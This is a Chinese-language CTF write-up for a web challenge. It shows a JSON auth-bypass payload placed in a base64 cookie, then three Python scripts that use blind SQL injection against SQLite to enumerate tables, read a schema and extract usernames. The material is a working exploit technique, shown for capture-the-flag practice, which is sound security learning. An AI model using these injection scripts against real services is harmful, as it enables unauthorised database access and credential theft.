{"username":"\" or 1=1--","password":"guest"},成功登录
盲注脚本如下
#coding=utf-8
import requests
import base64
import time
url = 'http://60973c61-7d7e-406d-8b6d-4cdce6d2c6d5.node4.buuoj.cn:81/sequels'
s = requests.session()
flag = ''
table = " ,0123456789_abcdefghijklmnopqrstuvwxyz"
for i in range(1, 50):
print(flag)
low = 0
high = 38
mid = (low+high)//2
while low < high:
payload = '{"username":"\\" or 1=((substr((select name from sqlite_master where type=\\"table\\" limit 1 offset 0),'+str(i)+',1))>\\"'+table[mid]+'\\")--","password":"guest"}'
# print(payload)
cookies = {
'1337_AUTH': base64.b64encode(payload.encode()).decode(),
}
r = s.get(url=url, cookies=cookies)
time.sleep(0.3)
# true
if len(r.text) > 3400:
low = mid + 1
# false
if 'Invalid user' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + table[low]
break
#coding=utf-8
import requests
import base64
import time
url = 'http://58104486-6db8-40ed-9632-8897a13ff8ae.node4.buuoj.cn:81/sequels'
s = requests.session()
flag = ''
table = '0123456789ABCDEF'
for i in range(1, 5000):
print(flag)
for j in table:
payload = '{"username":"\\" or 1=(substr((select hex(sql) from sqlite_master where type=\\"table\\" and name=\\"userinfo\\" limit 1 offset 0),'+str(i)+',1)=\\"'+j+'\\")--","password":"guest"}'
cookies = {
'1337_AUTH': base64.b64encode(payload.encode()).decode(),
}
print(payload)
r = s.get(url=url, cookies=cookies)
time.sleep(0.3)
print(r.text)
# true
if len(r.text) > 3400:
flag = flag + j
break
# false
if 'Invalid user' in r.text:
continue
结果
CREATE TABLE userinfo (
username text not null primary key,
password text not null)
然后注入,得到用户名密码
#coding=utf-8
import requests
import base64
import time
url = 'http://58104486-6db8-40ed-9632-8897a13ff8ae.node4.buuoj.cn:81/sequels'
s = requests.session()
flag = ''
table = '0123456789ABCDEF'
for i in range(1, 5000):
print(flag)
for j in table:
payload = '{"username":"\\" or 1=(substr((select hex(group_concat(username)) from userinfo),'+str(i)+',1)=\\"'+j+'\\")--","password":"guest"}'
cookies = {
'1337_AUTH': base64.b64encode(payload.encode()).decode(),
}
#print(payload)
r = s.get(url=url, cookies=cookies)
time.sleep(0.3)
#print(r.text)
# true
if 'No note for' in r.text:
flag = flag + j
break
# false
if 'Invalid user' in r.text:
continue
找表select name from sqlite_master where type="table",需要限制输出的话是select name from sqlite_master where type="table" limit 1 offset 0,修改offset,从0开始,如果超过表的数量会返回错误
找字段select sql from sqlite_master where type="table" and name="userinfo"